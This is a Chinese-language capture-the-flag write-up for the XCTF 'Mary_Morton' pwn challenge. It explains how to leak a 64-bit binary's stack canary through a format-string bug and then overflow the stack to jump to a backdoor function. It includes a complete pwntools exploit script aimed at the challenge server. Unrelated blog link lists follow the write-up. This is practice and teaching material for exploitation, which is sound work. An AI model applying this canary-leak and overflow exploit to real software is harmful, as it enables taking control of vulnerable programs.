攻防世界pwn-Mary_Morton
64位的程序,并且开启了NX和Canary,还有Partial RELRO,got表有写权限

执行一下文件看看流程,存在两个漏洞

用IDA看看 可以看到执行2的时候 存在字符串漏洞

按1的时候,存在栈溢出漏洞

看一下流程图和汇编可以知道readsqword这个地方有canary保护,只有 rax 和fs:28h 两个值相等的时候 才能跳转到返回值,反之则调用stak_chk_fail

同时还有一个后门函数

思路:首先利用字符串漏洞,泄露出canary的值,然后在函数要返回的时候再填回去,之后利用栈溢出,让其返回到后门函数
先看一下字符串的偏移

可以看到偏移了6个字节
确定canary和输入的参数之间的偏移

buf和v2相差了0x90-0x8=0x88,0x88/8=17, 17+6=23
因为64位的程序,每个格式化字符串都是8字节,同理32位是4字节
然后再利用栈溢出调用后门函数即可get flag
构造的脚本如下
from pwn import *
r=remote('111.198.29.45',53501) r.recvuntil('3. Exit the battle')
r.sendline('') r.sendline('%23$p') r.recvuntil('0x')
canary=int(r.recv(16),16)
print (canary) flag_addr=0x4008da
payload='a'*0x88+p64(canary)+'a'*8+p64(flag_addr)
r.recvuntil('3. Exit the battle')
r.sendline('')
r.sendline(payload) r.interactive()
执行结果

攻防世界pwn-Mary_Morton的更多相关文章
- 攻防世界PWN简单题 level0
攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...
- 攻防世界PWN简单题 level2
攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- 攻防世界pwn高手区——pwn1
攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...
- 攻防世界pwn之新手区
涉及的工具有 Ubuntu 16.04 pwntools IDA gdb-peda 1.get_shell 连接就给flag,可以直接用nc连接,然后输入ls查看里面的目录,发现有名字叫flag文件, ...
- 攻防世界—pwn—cgpwn2
题目分析 题目提示 checksec检查文件保护机制 使用ida查看伪代码 hello函数存在溢出,与level2类似 信息收集 system地址 name的地址 编写脚本 from pwn impo ...
- 攻防世界—pwn—int_overflow
题目分析 checksec检查文件保护机制 ida分析程序 经典整数溢出漏洞示例 整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0, 无符号数取值 ...
- 攻防世界—pwn—level2
题目分析 题目提示 下载文件后首先使用checksec检查文件保护机制 使用ida打开,查看伪代码 搜索字符串发现/bash/sh 信息收集 偏移量 system的地址 /bin/sh的地址 编写脚本 ...
- 攻防世界—pwn—hello_pwn
题目分析 下载文件后首先使用checksec检查文件保护机制 使用ida查看伪代码 思路明确,让dword_60106C == 1853186401即可输出flag 信息收集 偏移量 sub_4006 ...
- 攻防世界—pwn—level0
题目分析 下载文件后首先使用checksec检查文件保护机制 文件名太长了,就更改了一下 发现是一个64位程序,使用ida查看伪代码 注意到一个特殊的函数名callsystem 确定思路,直接栈溢出 ...
随机推荐
- add to explorer context menu需不需要勾选
添加到鼠标右键菜单,添加以后,可以直接右键文件,直接选择这个软件打开选择的文件,建议勾选
- [Linux] ubuntu环境安装和使用elasticsearch
wget -qO - https://artifacts.elastic.co/GPG-KEY-elasticsearch | sudo apt-key add -apt-get install ap ...
- Linux —— 时间(tzselect、timedatactl命令,查看和修改时区,修改时区为东八区)【转】
转自:https://blog.csdn.net/weixin_42167759/article/details/90648225 一.设置linux修改时区首先查看当前时区 #date -R显示结果 ...
- LG4516/LOJ2546 「JSOI2018」潜入行动 树上背包
问题描述 LG4516 LOJ2546 题解 好一个毒瘤题. hkk:JSOI的签到题 设\(opt[i][j][0/1][0/1]\)代表结点\(i\)的子树,放置\(j\)个,\(i\)放不放,\ ...
- 【python爬虫】正则表达式
一.数据的分类 1.结构化数据 特点:数据以行为单位,每一个数据表示一个实体.每一行数据的属性都是一样的. 举例:关系型数据库中的表就是结构化数据. 处理方法:sql 2.半结构化数据 特点:结构化数 ...
- 在 ASP.NET Core 项目中使用 npm 管理你的前端组件包
一.前言 在项目的前端开发中,对于绝大多数的小伙伴来说,当然,也包括我,不可避免的需要在项目中使用到一些第三方的组件包.这时,团队中的小伙伴是选择直接去组件的官网上下载,还是图省事直接在网上搜索,然后 ...
- iOS: 创建静态库,实现自己的API私有使用
一.介绍 在开发中经常使用到第三方的静态框架,格式基本上就是.framework和.a格式的.使用时,会发现我们只能使用无法修改,这就是静态框架的一个好处,私有性.内部实现的代码只有公开者本人知晓,对 ...
- Samba基础配置
本文环境:CentOS 7 简介 在UNIX-like之间共享文件系统主要是通过NFS实现的,而Windows之间共享文件系统主要是通过基于NetBIOS的网上邻居实现的,1984年Andrew Tr ...
- tensorflow2.0安装
版本: python3.5 Anaconda 4.2.0 tensorflow2.0 cpu版本 1.安装命令 pip3 install tensorflow==2.0.0.0a0 -i https: ...
- JAVA 十六进制和十进制、二进制转换
java十六进制和十进制.二进制转换 十进制转化成十六进制 Integer x = 100; hex = x.toHexString(x); 十六进制转化成十进制 Integer.parseInt(h ...